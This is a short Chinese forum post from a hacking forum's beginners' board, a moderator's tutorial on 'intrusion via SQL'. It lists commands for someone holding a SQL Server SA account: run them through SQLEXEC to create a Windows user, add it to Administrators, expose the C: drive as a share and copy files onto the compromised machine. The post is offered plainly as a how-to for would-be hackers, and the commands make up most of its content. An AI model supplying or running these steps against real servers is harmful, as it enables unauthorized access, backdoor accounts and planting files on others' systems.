20CN网络安全小组论坛 - 菜鸟乐园 - 想成为黑客的菜鸟先到这来看看（基础篇：利用SQL入侵）

论坛: 菜鸟乐园标题: 想成为黑客的菜鸟先到这来看看（基础篇：利用SQL入侵）

作者: bking [bking]

版主

当你获得了一台SQL Server的SA（管理员）账号后，可以通过他建立一个账号，并能把这个账号加入administrators组方法: 1.用SQLEXEC登陆到服务器，建立一个账号：net user username password /add 加入Administrators组:net localgroup Administrator[color=red]s/color] username /add 2.用刚才建立的username登陆系统：net use \\ip password /user:username 3.这时，你就可以通过 copy file \\ip\sharename 复制文件过去了！

当你获得了一台SQL Server的SA（非管理员）账号后，可以通过他建立一个账号，但并不能把这个账号加入administrators组，因此通过net use命令后，你并不可以把东东copy过去，这时，你可以通过： 1。用SQLEXEC登陆到服务器，建立一个账号：net user username password /add 2。用命令net share sharename=path，比如：net share cc=c:\来建立一个共享盘（注意：由于这时你的身份并非admin,所以下面可以访问了） 3。用刚才建立的username登陆系统：net use \\ip password /user:username 4。这时，你就可以通过 copy file \\ip\sharename 把文件复制过去！

[此贴被新月峰岭(bking) 在 04月21日23时25分编辑过]

地主发表时间: 04/21 23:40